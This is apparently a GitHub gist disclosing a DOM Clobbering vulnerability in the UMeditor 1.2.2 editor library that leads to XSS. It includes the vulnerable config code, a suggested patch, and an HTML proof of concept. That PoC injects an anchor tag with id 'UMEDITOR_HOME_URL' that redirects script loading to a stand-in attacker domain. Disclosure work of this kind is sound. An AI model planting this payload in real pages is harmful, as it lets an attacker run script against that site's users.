Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Created October 31, 2024 16:13
Show Gist options
  • Select an option

  • Save jackfromeast/d52c506113f33b8871d0e647411df894 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/d52c506113f33b8871d0e647411df894 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in UMeditor that leads to XSS

Summary

We identified a DOM Clobbering vulnerability within the UMeditor library (version 1.2.2). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where attacker-controlled HTML elements (e.g., an a tag with an unsanitized id attribute) are present.

Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gagdet found in UMeditor

The UMeditor library relies on the UMEDITOR_HOME_URL property to configure its base URL for loading resources. If an attacker injects an element with id="UMEDITOR_HOME_URL", this element can override the intended UMEDITOR_HOME_URL value. Using the browser’s named DOM access mechanism, this allows an attacker to set the base URL to a controlled domain, potentially loading resources from the attacker's server.

// https://github.com/fex-team/umeditor/blob/30b87925e7c725ec1ec6c487d4d80967cbcb58e3/umeditor.config.js#L26-L42
var URL = window.UMEDITOR_HOME_URL || ...
window.UMEDITOR_CONFIG = {
    //为编辑器实例添加一个路径,这个不能被注释
    UMEDITOR_HOME_URL : URL
    ...
};

In this example, UMEDITOR_HOME_URL can be overridden by injecting an a tag with id="UMEDITOR_HOME_URL" pointing to an attacker’s URL, resulting in scripts or assets loaded from an attacker’s domain.

PoC

The following example demonstrates how an attacker can set UMEDITOR_HOME_URL to http://attack.controlled.com and lead all the dependency resolving to that domain.

<html>
<body>
<!-- Payload -->
<a id="UMEDITOR_HOME_URL" href="http://attack.controlled.com"></a>
<!-- Payload -->

<!-- Library -->
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>UMEDITOR 简单功能</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="/umeditor/themes/default/_css/umeditor.css" type="text/css" rel="stylesheet">
<script type="text/javascript" src="/umeditor/third-party/jquery.min.js"></script>
<script type="text/javascript" src="/umeditor/third-party/template.min.js"></script>
<script type="text/javascript" charset="utf-8" src="/umeditor/umeditor.config.js"></script>
<script type="text/javascript" charset="utf-8" src="/umeditor/_examples/editor_api.js"></script>
<script type="text/javascript" src="/umeditor/lang/zh-cn/zh-cn.js"></script>
<style type="text/css">
h1 {
    font-family: "微软雅黑";
    font-weight: normal;
}
</style>
<script type="text/plain" id="myEditor" style="width:800px;height:240px;">
<p>这里我可以写一些输入提示</p>
</script>
<script type="text/javascript">
var um = UM.getEditor('myEditor', {
    toolbar:['fullscreen source undo redo bold italic underline'],
    autoClearinitialContent:true,
    wordCount:false,
    elementPathEnabled:false,
    initialFrameHeight:300
});
</script>
<!-- Library -->
</body>
</html>

Patch

To mitigate this issue, modify the code to avoid relying on the global window object or the named DOM access mechanism for configuration settings. Use a specific configuration object that is less susceptible to DOM Clobbering:

var URL = typeof window.UMEDITOR_HOME_URL === 'string' ? window.UMEDITOR_HOME_URL : "https://trusted.url/";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment